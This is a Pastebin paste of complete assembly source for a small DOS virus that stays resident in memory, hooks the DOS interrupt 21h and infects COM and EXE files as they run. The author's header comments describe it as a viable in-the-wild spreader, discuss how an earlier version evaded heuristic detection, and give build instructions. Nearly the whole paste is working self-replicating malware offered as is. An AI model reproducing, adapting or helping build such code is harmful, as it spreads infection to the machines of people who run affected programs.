Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;---------------------------------------------------------------------------
- ;
- ; Smallest Virus I Could Manage - 263 bytes
- ; The Smallest Virus I Could Manage
- ;
- ; In Nuke InfoJournal #5 I foolishly boasted about a 387-byte TSR COM/EXE
- ; parasitic infector I'd written.. well the days of semi-lameness are gone
- ; (that was almost 2 years ago now) and I've come up with the goods.
- ;
- ; This is the smallest virus I could figure out at this point in time.
- ; In all respects, it's a fully viable spreader in the wild, although it
- ; does have serious 'security' problems - it doesn't trap i24 (critical
- ; error handler), clean registers before returning control to the host, or
- ; even use i21 functions by chaining on to the old vector (it calls i21
- ; with an INT instruction). I have no pretenses in that I fully don't
- ; expect to see this in the wild, since it was only written for
- ; investigative pleasure anyway, to see how small a virus could be
- ; written.
- ;
- ; There was another version of this virus which I gave out to a few people
- ; on #virus, which had a slight bug (rather, hasty oversight) in it, where
- ; I changed a bit of code and didn't change a corresponding line a few
- ; lines later.. which results in the i21 vector being partially
- ; overwritten and thus the machine will crash (bad side effect!), which
- ; was 291 bytes. The difference between this virus and the 'old' one is
- ; that this one doesn't change the target EXE file's stack, simply leaving
- ; it and negating the need to carry the extra 4 bytes around with the
- ; virus, as well as cutting code size. Also, the 'old' one didn't trigger
- ; any heuristic flags whereas this one does. (see below)
- ;
- ; This virus is a memory-resident parasitic infector of COM and EXE files
- ; on execution, 263 bytes. It doesn't reinfect memory OR files.
- ;
- ; The older revision (sm2.asm, and the bug-fix, sm2b.asm) avoided all
- ; heuristic flags (except maybe suspicious stack); it inserted the delta
- ; offset straight into the first instruction of the virus, instead of
- ; doing the usual 'call $+3/pop si/sub si,3'. However this just took up
- ; too much code and besides, it's going to get caught anyway, so why
- ; bother? So in this version, it was removed, but the lines are only
- ; commented out. If, for some reason, you want to re-enable the old
- ; system, uncomment the appropriate lines and delete the lines with only a
- ; semicolon after them (ie not the ones with actual comments!). Enabling
- ; this will bring the virus size up to all 268 bytes.
- ;
- ; In its current form, I think it's as optimized as I can make it. Apart
- ; from the odd 1-byte improvement, any difference would require a change
- ; in viral architecture. Some hardcore processor head would have to do it,
- ; perhaps they'd get a virus of 260 bytes.. but below that, I'm sure it'd
- ; have to be deficient or unreliable in some respect (as far as I can
- ; rationally extrapolate, judging how limited this virus is in avoiding
- ; detection). I'm certainly not saying that a smaller virus cannot be
- ; written, however, because it's probably possible. If I could see how,
- ; though, I'd do it! :) Making this smaller would require the removal of
- ; 'safety' checks (eg bailing if the file can't be opened, bailing if the
- ; file is less than 24 bytes, etc). However I consider these checks to be
- ; part of a viable virus, so I left them in.
- ;
- ; There isn't a great deal of commenting on this virus. A few of the
- ; techniques just aren't applicable to viruses of the normal kind, so
- ; there's no real point. To gain anything much out of examining this
- ; the source you more or less have to have a good idea of what's going on
- ; anyway.
- ;
- ;
- ; by T�L�N
- ;
- ; compile with a86, rename the .bin to a .com and it's ready to roll...
- ;
- org 0
- @marker equ 19h
- v_start: ; mov si, 0100h
- call $+3 ;
- pop si ;
- sub si, 3 ;
- push ds
- xor ax, ax ; this virus resides at the end
- mov es, ax ; of the interrupt table & then some
- mov di, 200h
- push di
- cld
- scasw ; is the space clear?
- pop di
- jne v_exit
- push si
- mov cx, v_len
- db 02eh ; make CS source of movsb
- rep movsb ; copy the virus to memory
- mov si, 21h*4 ; & save old i21 vector
- push si
- db 26h ; make ES source of movsw
- movsw
- db 26h
- movsw
- pop di
- mov ax, offset new21 + 200h
- stosw
- xchg ax, cx
- stosw ; capture int 21h
- pop si
- v_exit: pop es
- add si, offset old_shit
- pop ax
- or sp, sp ; COM or EXE determination
- push ax
- push cs
- pop ds
- jnz exit_exe
- exit_com: mov di, 100h ; return to COM host
- push di
- movsw
- movsw
- ret
- exit_exe: mov ax, es ; return to EXE host
- add ax, 10h
- add word ptr [si+2], ax
- jmp dword ptr [si]
- old_shit: int 20h
- dw 0
- new21: cmp ax, 4b00h ; infect on execute
- je infect
- jmp exit21
- infect: push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- mov ax, 3d02h ; open the file
- int 21h
- jc bitch
- push cs
- pop ds
- push cs
- pop es
- xchg ax, bx
- mov ah, 3fh
- mov cx, 24
- mov dx, offset signature+200h
- int 21h ; read header
- xor cx, ax
- jnz bitch1
- mov si, dx
- push ax
- mov al, @marker
- cmp byte ptr [si+3], al ; is the infection marker present?
- ;(com)
- je bitch2
- cmp byte ptr [si+12h], al ; (exe)
- je bitch2
- mov ax, 4202h ; seek to EOF dx:ax -> file len
- cwd
- int 21h ; cx is already zero
- push ax
- mov di, offset old_shit+200h
- cmp byte ptr [si], 'M'
- je infect_exe
- infect_com: push si
- movsw ; save first 4 of COM
- movsw
- pop di
- mov al, 0e9
- stosb
- pop ax
- ; inc ah
- ; mov word ptr [v_start+201h], ax
- ; sub ax, 103h
- dec ax ;
- dec ax ;
- dec ax ;
- stosw
- mov byte ptr [di], @marker ; mark infection
- write_us: mov ah, 40h
- mov cx, v_len
- mov dx, 200h
- int 21h
- write_hdr: mov ax, 4200h
- cwd
- xor cx, cx
- int 21h
- pop cx
- mov ah, 40h
- mov dx, offset signature+200h
- int 21h
- push ax ; ambiguous instruction
- bitch2: pop ax
- bitch1: mov ah, 3eh
- int 21h
- bitch: pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- exit21: jmp dword ptr cs:[old21+200h]
- infect_exe: push dx
- push si
- mov si, offset [exe_ip+200h]
- movsw ; save IP, CS
- movsw
- add ax, v_len ; calculate part_page, page_cnt
- adc dx, 0 ; of infected file
- mov cx, 200h
- div cx
- pop di
- scasw
- scasw
- std ; a novel approach..
- or dx, dx
- jz noinc
- inc ax
- noinc: stosw ; store the new values..
- xchg ax, dx
- stosw
- pop dx
- pop ax
- mov cx, 10h ; calculate # of paragraphs
- div cx ; in the uninfected file
- sub ax, word ptr [hdr_size+200h]
- mov di, offset relo_cs+200h
- stosw ; & set new IP, CS (entry pt)
- xchg ax, dx
- stosw
- ; mov word ptr [v_start+201h], ax
- mov ax, @marker
- stosw
- jmp short write_us
- v_end:
- old21 equ v_end + 0
- signature equ old21 + 4 ; where we load the host files header
- part_page equ signature + 2 ; part-page at EOF
- page_cnt equ part_page + 2 ; count of code pages
- hdr_size equ page_cnt + 4 ; size of header in paragraphs
- minmem equ hdr_size + 2 ; minimum memory required
- maxmem equ minmem + 2 ; maximum memory required
- relo_ss equ maxmem + 2 ; displacement of stack segment (SS)
- exe_sp equ relo_ss + 2 ; stack pointer (SP)
- chksum equ exe_sp + 2 ; -> infection marker
- exe_ip equ chksum + 2 ; instruction pointer (IP)
- relo_cs equ exe_ip + 2 ; displacement of code segment (CS)
- ; 24 bytes for EXE header information
- v_len equ v_end - v_start
- ;
- ;-------the-end-------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement